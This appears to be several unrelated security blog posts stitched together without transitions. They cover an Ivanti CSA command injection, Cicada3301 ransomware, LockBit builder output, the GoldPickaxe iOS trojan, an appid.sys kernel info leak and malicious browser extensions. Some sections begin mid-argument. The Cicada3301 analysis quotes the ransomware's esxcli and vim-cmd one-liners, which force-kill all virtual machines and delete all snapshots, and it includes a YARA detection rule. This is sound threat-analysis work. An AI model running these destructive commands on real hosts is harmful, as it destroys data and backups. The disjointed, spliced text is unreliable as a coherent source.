On September 10, 2024, Ivanti released a security advisory for a command injection vulnerability for it’s Cloud Service Appliance (CSA) product. Initially, this CVE-2024-8190 seemed uninteresting to us given that Ivanti stated that it was an authenticated vulnerability. Shortly after on September 13, 2024, the vulnerability was added to CISA’s Known Exploited Vulnerabilities (KEV). Given it was now exploited in the wild we decided to take a look.
The advisory reads:
Ivanti has released a security update for Ivanti CSA 4.6 which addresses a high severity vulnerability. Successful exploitation could lead to unauthorized access to the device running the CSA. Dual-homed CSA configurations with ETH-0 as an internal network, as recommended by Ivanti, are at a significantly reduced risk of exploitation.
An OS command injection vulnerability in Ivanti Cloud Services Appliance versions 4.6 Patch 518 and before allows a remote authenticated attacker to obtain remote code execution. The attacker must have admin level privileges to exploit this vulnerability.
The description definitely sounds like it may have the opportunity for accidental exposure given the details around misconfigurations of the external versus internal interfaces.
Cracking It Open
Inspecting the patches, we find that the Cloud Service Appliance has a PHP frontend and the patch simply copies in newer PHP files.
Inspecting the 4 new PHP files, we land on DateTimeTab.php which has more interesting changes related to validation of the zone variable right before a call to exec().
Figure 2. Validating the zone variable
Now that we have a function of interest we trace execution to it. We find that handleDateTimeSubmit() calls our vulnerable function on line 153.
We see that the function takes the request argument TIMEZONE and passes it directly to the vulnerable function, which previously had no input validation before calling exec with our input formatted to a string.
Developing the Exploit
We find that the PHP endpoint /datetime.php maps to the handleDateTimeSubmit() function, and is accessible only from the “internal” interface with authentication.
Putting together the pieces, we’re able to achieve command injection by supplying the application username and password. Our proof of concept can be found here.
N-Day Research – also known as CVSS Quality Assurance
It seems that Ivanti is correct in marking that this is an authenticated vulnerability. But lets take a look at their configuration guidance to understand what may have went wrong for some of their clients being exploited in the wild.
Ivanti’s guidance about ensuring that eth0 is configured as the internal network interface tracks with what we’ve found. When attempting to reach the administrative portal from eth1, we find that we receive a 403 Forbidden instead of a 401 Unauthorized.
Users that accidentally swap the interfaces, or simply only have one interface configured, would expose the console to the internet.
If exposed to the internet, we found that there was no form of rate limiting in attempting username and password combinations. While the appliance does ship with a default credential of admin:admin, this credential is force updated to stronger user-supplied password upon first login.
We theorize that most likely users who have been exploited have never logged in to the appliance, or due to lack of rate limiting may have had poor password hygiene and had weaker passwords.
Indicators of Compromise
We found sparse logs, but in /var/log/messages we found that an incorrect login looked like the following messages – specifically key in on “User admin does not authenticate”.
The Cicada3301 appears to be a traditional ransomware-as-a-service group that offers a platform for double extortion, with both a ransomware and a data leak site, to its affiliates. The first published leak on the group’s data leak site is dated June 25, 2024. Four days later, on June 29, the group published an invitation to potential affiliates to join their ransomware-as-a-service platform on the cybercrime forum Ramp.
Cicada3301 announces its affiliate program on Ramp.
As advertised above, The Cicada3301 group uses a ransomware written in Rust for both Windows and Linux/ESXi hosts. This report will focus on the ESXi ransomware, but there are artifacts in the code that suggest that the Windows ransomware is the same ransomware, just with a different compilation.
While more and more ransomware groups are adding ESXi ransomware to their arsenal, only a few groups are known to have used ESXi ransomware written in Rust. One of them is the now-defunct Black Cat/ALPHV ransomware-as-a-service group. Analysis of the code has also shown several similarities in the code with the ALPHV ransomware.
The Cicada3301 ransomware has several interesting similarities to the ALPHV ransomware.
Both are written in Rust
Both use ChaCha20 for encryption
Both use almost identical commands to shutdown VM and remove snapshots[1]
Both use –ui command parameters to provide a graphic output on encryption
Both use the same convention for naming files, but changing “RECOVER-“ransomware extension”-FILES.txt” to “RECOVER-“ransomware extension”-DATA.txt”[2]
How the key parameter is used to decrypt the ransomware note
Below is an example of code from Cicada3301 that is almost identical to ALPHV.
Example of code shared between ALPHV and Cicada3301.
Analysis of the Threat Actor
The initial attack vector was the threat actor using valid credentials, either stolen or brute-forced, to log in using ScreenConnect. The IP address 91.92.249.203, used by the threat actor, has been tied to a botnet known as “Brutus” that, in turn, has been linked to a broad campaign of password guessing various VPN solutions, including ScreenConnect. This botnet has been active since at least March 2024, when the first article about it was published, but possibly longer.[3]
The IP address used in this initial login was used a few hours before the threat actor started to conduct actions on the systems, so it is highly unlikely that an access broker could compromise the system and pass on the access to a buyer in the span of a few hours unless there was an established connection between them.
This could mean that either (A) the threat actor behind the Brutus botnet is directly connected to the Cicida3301 ransomware group or (B) the use of the IP address by two separate threat actors, both using them to compromise victims using ScreenConnect, is purely coincidental. As far as we could observe, this IP address was still part of the “Brutus” botnet at the time of the ransomware attack.
The timeline is also interesting as the Brutus botnet activity began on March 18, two weeks after it was reported that the BlackCat/ALPHV ransomware group conducted an apparent exit scam and ceased their operations.[4]
It is possible that all these events are related and that part of the BlackCat group has now rebranded themselves as Cicada3301 and teamed up with the Brutus botnet, or even started it themselves, as a means to gain access to potential victims, while they modified their ransomware into the new Cicada3301. Having easy access to a reliable initial access broker can be a way to offer a more “complete” service for the group’s affiliates.
The group could also have teamed up with the malware developer behind ALPHV. This individual appears to have worked for several different ransomware groups in the past.[5]
It is also possible that another group of cybercriminals obtained the code to ALPHV and modified it to suit their needs. When BlackCat shut down their operations, they stated that the source code to their ransomware was for sale for $5 million. It is also important to note that, as far as we can tell, the Cicada3301 is not quite as sophisticated as the ALPHV ransomware. The creators may decide to add additional features, such as better obfuscation, later.
Regardless of whether Cicada3301 is a rebrand of ALPHV, they have a ransomware written by the same developer as ALPHV, or they have just copied parts of ALPHV to make their own ransomware, the timeline suggests the demise of BlackCat and the emergence of first the Brutus botnet and then the Cicada3301 ransomware operation may possibly be all connected. More investigation is needed before we can say anything for certain, however.
Technical Details
Initial Observations
The ransomware is an ELF binary, and as shown by Detect It Easy, it is compiled and written in Rust.
Initial triage of the ransomware
That the ransomware is written in Rust was further strengthened by investigating the .comment section of the binary. There, it was revealed that version 1.79.0 of Rust has been used.
.comment section of the ransomware
Finally, it was further validated that the binary was written in Rust by just looking for strings in the ransomware. With string references to “Rust”, and strings referencing to “Cargo” that is Rust’s build system and package manager, it is concluded that the ransomware is written in Rust.
Strings related to Rust in the ransomware
Ransomware Functionality
At the start of the ransomware main function, there are several references to parameters that should be passed as an argument to binary, using clap::args, that hold different functionalities that can be used in combination as well.
Arguments passed to the ransomware
The binary has a built-in help function, giving an explanation of the different parameters and how they should be used.
Help function of the ransomware
The main function of the binary, which is done by the malware developer, is called linux_enc. By searching for linux_enc function a general program flow of the binary could be found.
The function calls of main
The Ransomware Parameters
It is possible to add a sleep parameter of the binary, adding a delay in seconds when the ransomware should be executed. For the sleep function, the ransomware uses the built-in sleep function std::thread::sleep
The sleep parameter of the ransomware
The ui parameter prints the result of the encryption to the screen, showing what files have been encrypted and a statistic of the total amount of files and data that has been successfully encrypted.
The ui parameter of the ransomware
The ui parameter was confirmed by running the ransomware and using the ui flag, showing the progress and statistics on the command prompt.
The ui parameter output
If the parameter no_vm_ss is chosen, the ransomware will encrypt files without shutting down the virtual machines that are running on ESXi. This is done by using the built-in esxicli terminal that will also delete snapshots.
Built-in esxicli commands of the ransomware
The full commands that the ransomware is utilizing are the following.
esxcli –formatter=csv –format-param=fields==\”WorldID,DisplayName\” vm process list | grep -viE \”,(),\” | awk -F \”\\\”*,\\\”*\” \'{system(\”esxcli vm process kill –type=force –world-id=\”$1)}\’ > /dev/null 2>&1;
for i in `vim-cmd vmsvc/getallvms| awk \'{print$1}\’`;do vim-cmd vmsvc/snapshot.removeall $i & done > /dev/null 2>&1
The most important parameter is the one named key. This needs to be provided, otherwise the binary will fail and show on the screen “Key is invalid”.
Output if wrong key is passed to the ransomware
The binary has a function called check_key_and_get_rec_text. It will make a check to see if the provided key is of length 0x2C to enter the function, but the size is also provided as an argument to the function. If the length is less than 0x2C the binary will terminate directly.
Checking correct key length
If the size of the key is correct, the ransomware will enter the function check_key_and_get_rec_text. One of the first things that happen in the function is to load an encrypted base64 encoded data blob that is stored in the data section. The decoded data is then stored and will be used later in the function.
Encoded and encrypted ransomware note inside the ransomware
The provided parameter key is then taken as a key to decrypt, using ChaCha20, the encoded data blob. If the provided key is correct the message that is shown in the ransomware note will be decrypted.
Decryption of the ransomware noteDecrypted ransomware note
To verify that the provided key was correct after exiting the check_key_and_get_rec_text function, there is a check that the ransomware note has been decrypted properly.
Validation that the ransomware note has been decrypted
File Encryption
The functions start by using OsRng to generate entropy for the symmetric key. OsRng is a random number generator that retrieves randomness from the operating system.
Function used to generate keys to ChaCha20
The binary contains a function called encrypt_file that handles the encryption of the files. The first function is to extract another public pgp key that is stored in the data section. This key is used for encryption to encrypt the symmetric key that is generated for file encryption.
RSA key used for key encryption
It then creates the file that will store the ransomware message in the folder of the encrypted files. It will be named “RECOVER-’ending of encrypted file’-DATA.txt”
Creating the ransomware note
Inside the encryption function there is a list of file extensions where most of them are related to either documents or pictures. This indicates that the ransomware has been used to encrypt Windows systems before being ported to ransomware ESXi hosts.
Then it checks the size of the file. If it is greater than 0x6400000, then it will encrypt the file in parts, and if it is smaller, the whole file will be encrypted.
Checking file size for encryption
The files will then be encrypted with a symmetric key generated by OsRng using ChaCha20.
Use of ChaCha20 for file encryption
After the encryption is done, the ransomware encrypts the ChaCha20 key with the provided RSA key and finally writes the extension to the encrypted file.
Adding the encryption file extension
The file extension is also added to the end of the encrypted file, together with the RSA-encrypted ChaCha20 key.
File extension at the end of the file
YARA Rule for Cicada3301 Threat Hunting
rule elf_cicada3301{
meta:
author = "Nicklas Keijser"
description = "Detect ESXi ransomware by the group Cicada3301"
date = "2024-08-31"
strings:
$x1 = "no_vm_ss" nocase wide ascii
$x2 = "linux_enc" nocase wide ascii
$x3 = "nohup" nocase wide ascii
$x4 = "snapshot.removeall" nocase wide ascii
$x5 = {65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B} //Use of ChaCha20 constant expand 32-byte k
condition:
uint16(0) == 0x457F
and filesize < 10000KB
and (all of ($x*))
}
To decipher what this change in modus meant, we first decided to see if this was indeed the actual LockBit ransomware or someone using a modified version of LockBit. The builder for this particular ransomware, LockBit Black, has been leaked after an internal squabble in the group in 2022. So we decided to compare the ransomware used in this incident with one we generated ourselves with the leaked LockBit Black builder.
To start with, the builder has a number of different functions it utilizes when a encryption and decryption binary is created. This is all bundled into a single .bat file called build.bat. There are two main binaries, keygen.exe that generates the encryption key and the “Decryption ID”. The binary builder.exe takes a .json file with the different parameters that the ransomware binary can utilize, such as whitelisting of file types, hosts, folders and extensions but also if it should set the wallpaper among several other settings.
Figure 1 Content of builder.bat
One question upon generating a binary with the build.exe binary was how the “Decryption ID” is determined, if that is something that needs to be given or can be set with the builder.
Looking at the sample it was found during the building of the ransomware binary, the keygen file generates the public and private RSA that is then used to encrypt the symmetric key that encrypts the files. The “Decryption ID” is eight hex bytes from the public RSA key after it has been base64 decoded.
Figure 2 Generating the Decryption ID from the public RSA key
Since the ransomware binary can completely be generated from the builder, then how different was the sample found in the recent incident compared to one that is generated with the builder.
The samples were compared, using BinDiff, and showcasing that the binaries are identical. The binary generated by the builder is named LB3 as the one found in the incident. To make it clearer the ransomware binary generated with the builder is called LB3-built in the pictures.
Figure 3 BinDiff comparing LockBit3 from the incident with one done with the builderFigure 4 BinDiff comparing LockBit3 from the incident with one done with the builderFigure 5 BinDiff comparing LockBit3 from the incident with one done with the builder
It’s obvious from this comparison that the ransomware used in this incident came from the official LockBit builder. This means that the threat actor was using the LockBit ransomware, without using the LockBit portal. To unpack what this means, we need to explain a bit about the criminal ransomware-as-a-service ecosystem.
The LockBit syndicate are not themselves hacking any victims. They operate a ransomware-as-a-service (RaaS) platform for other cybercriminals. One main service they offer is access to their own ransomware, but this is clearly only part of their service, as criminals could easily avoid paying them anything by using the leaked builder. The LockBit platform also includes access to other tools, like a negotiation platform and a data leak site to publish stolen data if the victims refuse to pay.
Their perhaps most important asset is also their brand. A very valid question for any ransomware victim is how they can be sure they will actually get their data back, if they pay the ransom to criminals. LockBit is a well-known brand, and they know that their profits will suffer if their name is associated with scams, so they ensure all “clients” get the decryption keys they pay for. They even claim they offer around-the-clock support service for victims that have trouble getting back their data after receiving the decryption keys.
There are other ransomware groups that use leaked builders to create their own ransomware. DragonForce is a relatively new ransomware group that use the leaked LockBit Black ransomware as base for their own ransomware. They have modified the ransomware, however, so it displays their own brand logo instead of the LockBit logo. Again, ransomware criminals rely on their brand to convince victims they won’t be scammed if they do pay the ransom. [1]
While it is possible that the threat actor may just be an inexperienced cybercriminal deciding to forego the advantages of using the LockBit portal to avoid paying the fees to LockBit, there are other potential reasons this particular cybercriminal decided to not use LockBit services.
LockBit had their infrastructure compromised by law enforcement in February 2024. Later in May 2024, the FBI outed the identity of the leader of LockBit, as the Russian national Dmitry Khorosev, when he was indicted. [2] This also meant that Khorosev became the subject to US sanctions under OFAC. Sanctions make it illegal for victims to pay ransom sums that may benefit sanctioned individuals. Such sanctions have in the past made victims less inclined to pay ransom sums, which in turn forced the affected ransom groups to “rebrand” to avoid it.
It’s possible a LockBit affiliate may attempt to create distance to Khorosev by not using the LockBit portal. The ransomware still displays the LockBit Black logo, but that is hard coded into the builder and requires a lot more time and technical skills to change. We have confirmed that changing the ransom note just requires changing a simple config file in the builder. It is also possible the affiliate no longer trusts LockBit after their infrastructure got compromised by law enforcement.
In fact, LockBit appears to struggle to stay relevant. After going silent for a long time after his identity was outed, the leader of LockBit have begun posting things that appear to be nothing more attention-grabbing publicity stunts, such as claiming LockBit had stolen data from the US Federal Reserve, a claim that was quickly debunked. [3]
It is far too early to draw any long-term conclusions from this one case, but it appears that international law enforcement has singled out these RaaS platforms, such as LockBit and AlphV [4], as key elements in the ransomware ecosystem, and try to take them down. This means that ransomware criminals will probably now have to adapt to this.
The purpose of this report is to document the current form and methodologies used by the GoldFactory threat actor. The information documented is then used by Cyber Security Associates Ltd (CSA) Cyber Analysts to detect and hunt for the threat within the client environment through the use of our supported SIEM’s BorderPoint, Microsoft Sentinel and LogRhythm and advise on counter measures to monitor and detect for the subject threat.
This report documents the threat group GoldPickaxe and their TTPs (Tactics, Techniques and Procedures). Containing recommendations to help detect and mitigate the threat. The report also includes references where information within this report was identified from.
GoldFactory has created a highly advanced Trojan application that is designed to exfiltrate facial recognition data from a victims phone to an attacker operated database. This data is then used within an artificial intelligence workflow to create ‘deepfakes’ of victims and gain access to their facial recognition secured banking applications. This is the first recoded instance of this type of virus for iOS devices due to their solid utilisation of safety protocols and best practices. There are little ways to protect against it apart from maintaining awareness and not blindly trusting emails or text messages as convincing as they may be. Be on particular lookout for messages from commonly trusted entities such as banks or pension funds asking to verify documents or click and download from links.
Key Terms and Concepts
Social Engineering
Social Engineering is a well-known tactic used by cyber threat actors to leverage peoples willingness to help or trust, people are often willing to assist or conform to strangers requests due to their own kindness or due to their perceived authority. For example, offering to lend someone trusted money or an account credentials because they are in a time of need ‘I am the prince of X, I have unfortunately lost the key to my safe, to get another one I need £100 but I will share my wealth with you, I promise!’ or the age old tale of ‘I am calling from Microsoft, we suspect you have a virus on your PC, please buy me a gift card so that I can remove it for you’. Luckily, most people can easily see that both of those examples are bad attempts at fraud. However, as with anything in technology there have been improvements to the efficiency and an added level of professionalism to these attempts. Specialist crime groups have been created that are dedicated to making these phishing attempts as good as possible, unfortunately the success rate has been increasing [8].Phishing
Phishing is a type of social engineering that focuses on an attacker pretending to be a reputable entity; a member of IT Services asking you to click a suspicious link or asking for your password and login due to a system upgrade. These are just some examples of phishing attempts. Attackers will often use emails as an easy way to distribute phishing emails and use attachments or links to get a way in.Smishing
Smishing is a type of phishing that focuses on deceiving targets via text messages to appear more personal than phishing emails, often spoofing phone numbers of banks or other reputable entities into the text field. Texting applications often lack the advanced spam detection capabilities emails have and are often an easier way of fooling targets into clicking links or even installing applications due to users placing more trust into this way of communication. A popular example of this in the UK is ‘you have missed a Royal Mail parcel delivery, please click this link to arrange a re-delivery’ [9].Apple TestFlight Platform
Apples Test Flight platform is an easy way for developers to beta test their applications without having to go through Apples rigorous testing for them to be signed off and allowed onto the App store. This way developers can test their apps with a small group of chosen users which will test the application for them in a controlled manner, with the added benefit of being able to send the users a URL that will let them download the application. This ease of use for developers can easily be taken advantage of by malicious actors. Due to the lack of testing to applications on Apples TestFlight platform, it makes it significantly easier for a compromised application to make its way on there. From a phishing perspective, this makes it incredibly easy to infect a device with a genuine looking link and webpage- all without having to create any back end infrastructure to host the application and making a believable webpage.Mobile Device Management
Mobile Device Management (MDM) is an Apple device management solution for maintenance and security of a fleet of devices that lets admins install, change and modify all aspects of a device such as application deployment or setting changes. Its Microsoft counterpart is known as Intune.
However, due to its potential it has also been utilised by malicious actors to install malware as uncovered by W. Mercer et al [2]. The authors discovered a malicious MDM platform that was loading fake applications onto smartphones. The attackers exploited a common MDM feature and used an iOS profile to hide and disable legitimate versions of apps, forcing users to interact with the malicious stand-ins that were disguised as applications such as ‘Safari, WhatsApp and Telegram’. The profile abused a section of MDM used to hide applications with an age restriction, by setting the age lower than the 12 and 17 required for WhatsApp and Telegram. The age of 9 was used in this scenario and due to this, the legitimate applications were restricted on the device and only their malicious counterparts remained accessible and visible to the users.Rise of Online Banking and Law changes in Asia
Due to the global situation in 2020, online banking increased in popularity exponentially and due to its popularity it became a profitable target for cyber criminals. Due to growing security concerns Thai policy makers have required banks to enforce MFA via facial recognition if transfers over a certain amount are attempted.
The process of this operation is simple and very effective [Figure 1]
Figure 1: Biological MFA flowchart
Due to the maturity of facial recognition technology, this is a simple and effective solution that circumvents the common issues with passwords such as password sharing and setting weak passwords.
Tactics, Techniques & Procedures
Tactics, Techniques, and Procedures (TTPs) describes the actions, behaviours, processes and strategies used by malicious adversaries that engage in cyber-attacks.
Tactics will outline the overall goals behind an attack, including the strategies that were followed by the attacker to implement the attack. For example, the goal may be to steal credentials. Understanding the Tactics of an adversary can help in predicting the upcoming attacks and detect those in early stages
Techniques will show the method that was used to engage in the attack, such as cross-site scripting (XSS), manipulation through social engineering and phishing, to name a few. Identifying the Techniques used during an attack can help discover an organisation’s blind spots and implement countermeasures in advance.
Procedures will describe the tools and methods used to produce a step-by-step description of the attack. Procedures can help to create a profile for a threat actor or threat group. The analysis of the procedures used by the adversary can help to understand what the adversary is looking for within their target’s infrastructure.
Analysts follow this methodology to analyse and define the TTPs to aid in counterintelligence. TTPs that are described within this research are based of the information which CSA analysts have been able to identify prior to the release of this document. The threat may change and adapt as it matures to increase its likelihood of evading defence.
Summary
GoldPickaxe is a sophisticated Trojan virus aimed at iOS devices running 17.4 or below, there are two ways in which it can infect the device, both of which include the user clicking a link, downloading and finally approving the installation. This happens either via an MDM profile or via a TestFlight URL. This is then used to install a legitimate looking application designed to fool the user into providing further information via the Trojan. The device is open to receiving commands via its Command-and-Control server. The information harvested is then used to create deep fake videos to pass MFA and log into banking accounts.
Attack Methodology
In this section the attack methodology will be discussed and laid out. This section assumes the user assists the attackers by successfully following prompts and clicking links on their compatible iPhone running iOS 17.4 or below. It also assumes the user has the password to the iCloud account associated to the device to enable the installation of the MDM profiles/applications depending on the attack methodology. This section is based on the findings of Group-IB [1] [Figure 2].
MITRE ATT&CK
MITRE developed the Adversarial Tactics, Techniques and Common Knowledge framework (ATT&CK), which is used to track various techniques attackers use throughout the different stages of cyberattack to infiltrate a network and exfiltrate data. The framework defines the following tactics that are used in a cyberattack:
– Initial Acces
– Execution
– Persistence
– Privilege Escalation
– Defence Evasion
– Credential Access
– Discovery
– Lateral Movement
– Collection
– Exfiltration
– Command and Control
Phase 1: Initial Infection
After the initial development of rapport with the victim the attacker will attempt to compromise the user device. There are two possible ways of infection via GoldPickaxe.iOS; either by the user being lured to install an application via TestFlight or following a malicious URL to another webpage controlled by the attacker which will download and attempt to enable an MDM profile on the victims device.
These are both examples of techniques T1565 (Phishing) and T1119 (Trusted Relationship). If the user installs the application via TestFlight, the user will follow the testflight.apple.com/join/ URL and download the trojan as well as the genuine application onto the device. This is now a compromised target and will follow onto Phase 2.
If the user installs the MDM profile, the user follows the URL link sent to them, the MDM profile is automatically downloaded and the user is asked for permission to install it. After this is successful, the device will download the malicious application via Safari browser and install GoldPickaxe.iOS silently on the device. This is now a compromised target and will follow onto Phase 2.
Both of the techniques outlined utilise the T1204 (User execution) approach from the attack matrix as they rely on the user to execute the packages.
Phase 2: Deployment and Execution
At this stage the threat actor has full and unrestricted access to the device, it does however require user interaction within the application to create the data the attacker is after. These actions will be paired with prompts by the attacker via whatever way the initial point of contact was, for this we assume it was by text.
The attacker will message the user to open the application and provide verification within it, this can be done by; recoding a short video, requesting photos of ID’s or other documents. The application also has further abilities such as interception of text messages and web traffic to and from the device.
At this stage the attackers will perform multiple examples of collection techniques, mainly: T1113 (Screen capture), T1115 (Clipboard Data), T1005 (Data from Local System) and they will finally utilise T1560 (Achieve Collected Data) for ease of exfiltration. The data created by the user will be downloaded onto the device for a later exfiltration stage which is detailed in Phase 3.
Phase 3: Exfiltration of data
Within this stage the data that was harvested from the compromised individual is sent back to the attackers controlled database. This type of communication is controlled by sending the correct commands to the device via its WebSocket located at 8383. The data sent back regarding the specific command will be transmitted via HTTP API. This is an example of the command and control technique T1071 (Application Layer Protocol) due to the usage of normal protocols and the usage of T1090 (Proxy). However, there is also another communication channel specifically designed for exfiltration of data into a cloud bucket storage location. This being an example of T1537 (Transfer Data to Cloud Account).
This is one of the few indicators of compromise (IOC’s) for this trojan application as communication with specific URL’s can be used as a confirmation of a devices compromise status. The commands sent to the devices as well as hash values and URL’s accessed are included within the Indicators of compromise section.
The information sent back to the attacker can include items from the users gallery, SMS messages, captures of the users face and network activity logs. This will be used in the final phase of the attack, Phase 4.
Phase 4: Utilisation of harvested data
The final stage is where the data manipulation and the utilisation occur. It is believed by Group-IB that the attackers utilise the identification documentation as well as the recorded short video as sources for deep fake creation purposes. Due to the creation process, the more source files and angles of a person you have the more genuine the deep fake video will be. The final source files will be layered over an attackers face which will match up with the prompts used by banking apps in order to pass verification as the victim.
There are a multitude of options for deep fake creation [4] ranging from reface [5] which is an online platform to standalone applications such as DeepFaceLAB 2.0 [6] which can utilise Nvidia and AMD graphics cards to further enhance the work flow and level of realism of the final work. The standalone option also has the added benefits of being able to use advanced shaders and other addons to create hyper realistic deep fake videos.
At this step the attackers have successfully compromised the account and can now exfiltrate the funds or apply for finance. The attackers are suspected to use other devices that proxy into the victims network to circumvent regional checks from banking applications which is an example of T1090 (Proxy).
Cyber Kill-Chain
The cyber kill chain is a process that traces the stages of a cyberattack. This starts at the early reconnaissance stages that eventually leads to data exfiltration. The kill chain can help one to understand and combat ransomware, advanced persistent threats (APTs) and security breaches.
The cyber kill-chain defines the following tactics that are
– Reconnaissance
– Intrusion
– Exploitation
– Privilege Escalation
– Lateral Movement
– Obfuscation/ Anti-forensics
– Denial of Service
– Exfiltration
Conclusion
In conclusion, due to the significant capabilities of the Trojan application and it being the first of its kind for iOS devices, it would be foolish to assume that it will not be shared between threat groups. This means that in the near future more countries will be targeted with advanced phishing campaigns looking to take advantage of users. As the malicious MDM profile approach is very powerful and essentially a ‘golden’ ticket for attackers, it requires a certain amount of vigilance from users.
However, due to it requiring the assistance of the devices owner in providing sensitive information and pictures/ videos, it is unlikely that many people will fall for it or even have the data on their device in the first place.
In the coming months and years, we are likely to see more Trojans being developed for the iOS ecosystem due to its prolific use. It is also likely that these iterations will build on previous versions of the Trojan. This means we will see an increase in capabilities and potentially even more advanced installation procedures like silent installation etc without the need for the users assistance.
Advice: What can you do to protect yourself?
Due to the attack vectors used by the Trojan application there are only a few things that need to be done to stay protected and secure. The best defence against any Trojan application is to always download applications from secure sources and to always remain suspicious of any communications before validating their sources, this includes applying MDM profiles to devices from anyone other than a known system admin. Obviously as the validation process becomes increasingly more difficult, it is advisable to use multiple sources to confirm. An example of this would be physically going into a branch of your bank and verifying if they really need more documentation or even calling them to do the same.
Due to the significant capabilities of the trojan package it is likely that infected users are only able to verify their status via their Antivirus software matching IOC’s for GoldPickaxe. Performing regular antivirus scans of devices ensures that any downloads are scanned for malicious payloads in real time to prevent further instances of malware.
If a device has been deemed as infected it is best to factory reset it to make sure any leftover files are destroyed. It is also recommended to change all passwords on all accounts that were signed into on the device as their status may have been compromised.
As a final best practice it’s advisable to regularly check for software updates as they often include patches and security updates which help to keep devices safe and optimised.
Indicators of Compromise
Indicators of Compromise GoldPickaxe iOS Trojan [Table 1] [11].
TTP’s Used by GoldPickaxe
Based against Mitre ATT&CK Framework [12] [Table 2]
In recent July Patch Tuesday Microsoft patched a vulnerability in the Microsoft Kernel driver appid.sys, which is the central driver behind AppLocker, the application whitelisting technology built into Windows. The vulnerability, CVE-2024-38041, allows a local attacker to retrieve information that could lead to a Kernel Address Space Layout Randomization (KASLR) bypass which might become a requirement in future releases of windows.
This blog post details my process of patch diffing in the Windows kernel, analysing N-day vulnerability, finding the bug, and building a working exploit. This post doesn’t require any specialized Windows kernel knowledge to follow along, though a basic understanding of memory disclosure bugs and operating system concepts is helpful. I’ll also cover the basics of patch diffing.
Basics of Patch Diffing
Patch diffing is a common technique of comparing two binary builds of the same code – a known-vulnerable one and one containing a security fix. It is often used to determine the technical details behind ambiguously-worded bulletins, and to establish the root causes, attack vectors and potential variants of the vulnerabilities in question. The approach has attracted plenty of research and tooling development over the years, and has been shown to be useful for identifying so-called N-day bugs, which can be exploited against users who are slow to adopt latest security patches. Overall, the risk of post-patch vulnerability exploitation is inevitable for software which can be freely reverse-engineered, and is thus accepted as a natural part of the ecosystem.
In a similar vein, binary diffing can be utilized to discover discrepancies between two or more versions of a single product, if they share the same core code and coexist on the market, but are serviced independently by the vendor. One example of such software is the Windows operating system.
KASLR in Windows 11 24H2
In previous Windows versions defeating KASLR has been trivial due to a number of syscalls including kernel pointers in their output. In Windows 11 24H2 however, as documented by Yarden Shafir in a blog post analysing the change, these kernel address leaks are no longer available to unprivileged callers.
In the absence of the classic KASLR bypasses, in order to determine the layout of the kernel an info leak or new technique is required.
Patch Diff (Appid.sys)
In order to identify the specific cause of the vulnerability, we’ll compare the patched binary to the pre-patch binary and try to extract the difference using a tool called BinDiff. I had already saved both binary versions on my computer, as I like to keep track of Patch Tuesday updates. Additionally, I had written a simple Python script to dump all drivers before applying monthly patches, and then doing the dump of the patched binaries afterward. However, we can use Winbindex to obtain two versions of appid.sys: one right before the patch and one right after, both for the same version of Windows.
Getting sequential versions of the binaries is important, as even using versions a few updates apart can introduce noise from differences that are not related to the patch, and cause you to waste time while doing your analysis. Winbindex has made patch analysis easier than ever, as you can obtain any Windows binary beginning from Windows 10. I loaded both of the files in IDA Decompiler and ran the analysis. Afterward, the files can be exported into a BinExport format using the extension BinExport then being loaded into BinDiff tool.
Creating a new diff
BinDiff summary comparing the pre and post-patch binaries
BinDiff works by matching functions in the binaries being compared using various algorithms. In this case there, we have applied function symbol information from Microsoft, so all the functions can be matched by name.
List of matched functions sorted by similarity
Above we see there is only one function that have a similarity less than 100%. The function that was changed by the patch is AipDeviceIoControlDispatch.
New checks introduced
In the above image we can see the two highlighted in red blocks that have been added in the patched version of the driver. This code checks the PreviousMode of the incoming IOCTL packet in order to verify that the packet is coming from a kernel-mode rather then user-mode.
Root cause analysis
The screenshots below shows the changed code pre and post-patch when looking at the decompiled function code of AipDeviceIoControlDispatch in IDA.
Pre-patch version of appid.sys Windows 11 22H2
Post-patch version of appid.sys Windows 11 22H2
This change shown above is the only update to the identified function. Some quick analysis showed that a check is being performed based on PreviousMode. If PreviousMode is zero (indicating that the call originates from the kernel) pointers are written to the output buffer specified in the SystemBuffer field. If, on the other hand, PreviousMode is not zero and Feature_2619781439… is enabled then the driver will simply return STATUS_INVALID_DEVICE_REQUEST (0xC0000010) error code.
Exploitation
The first step is to communicate with the driver to trigger its vulnerability. To communicate with the driver, you typically need to find the Device Name, obtain a handle, and then send the appropriate IOCTL code to reach the vulnerability.
For this purpose, the IoCreateDevice function was analyzed in the DriverEntry function and the third argument of DeviceName is found to be \\Device\\AppID.
Decoding the 0x22A014 control code and extracting the RequiredAccess field reveals that a handle with write access is required to call it. Inspecting the device’s ACL (Access Control List; see the screenshot below), there are entries for local service, administrators, and appidsvc. While the entry for administrators does not grant write access, the entry for local service does.
As the local service account has reduced privileges compared to administrators, this also gives the vulnerability a somewhat higher impact than standard admin-to-kernel. This might be the reason Microsoft characterized the CVE as Privileges Required: Low, taking into account that local service processes do not always necessarily have to run at higher integrity levels.
Given the fact that I already have wrote an exploit for CVE-2024-21338 which is the same driver that we analyse so I will only provide the modified version of the code here.
Successful Exploitation
Summary
In this blog post we’ve covered patch diffing, root cause analysis and process of exploiting the vulnerability. It’s important to monitor for new code additions as sometimes it can be fruitful for finding vulnerabilities.
Despite best efforts by Microsoft trying to follow secure coding practices, there are always things that gets often overlooked during code reviews which create vulnerabilities that attackers often are trying to exploit.
A friend of mine sent me a link to an article on malicious browser extensions that worked around Google Chrome Manifest V3 and asked if I had or could acquire a sample. In the process of getting a sample, I thought, if I was someone who didn’t have the paid resources that an enterprise might have, how would I go about acquiring a similar malicious browser extension sample (and maybe hunting for more samples).
In this blog post, I’ll give a walkthrough how I used free resources to acquire a sample of the malicious browser extension similar to the one described in the article and using some simple cryptanalysis, I was able to pivot and acquire and decrypt newer samples.
If you want to follow along, you can use this notebook.
Looking for similar samples
If you are lucky, you can search the hashes of the samples in free sites like MalwareBazaar or even some google searching. However, if that doesn’t work, then we’d need to be a bit more creative.
In this case, I looked at features of the malware that I can use to look for other similar ones. I found that the names and directory structure of the browser extension seemed unique enough to pivot from. I used a hash from the article and looked it up in VT.
This led me to find a blog post from Trend Micro and in one section, they discussed the malicious browser extension used by Genesis Market.
As you can see, the file names and the structure of this extension is very similar to the one we were looking for, and the blog post also showed the script that was used by the malware to drop the malicious extension.
Acquiring the first sample
Given this powershell script, if the endpoint is still available we can try to download the sample directly. However, it wasn’t available anymore, so we have to hope that the response of hxxps://ps1-local[.]com/obfs3ip2.bs64 was saved before it went down. This is where services like urlscan come in handy. We used urlscan to get the saved response for obfs3ip2.bs64.
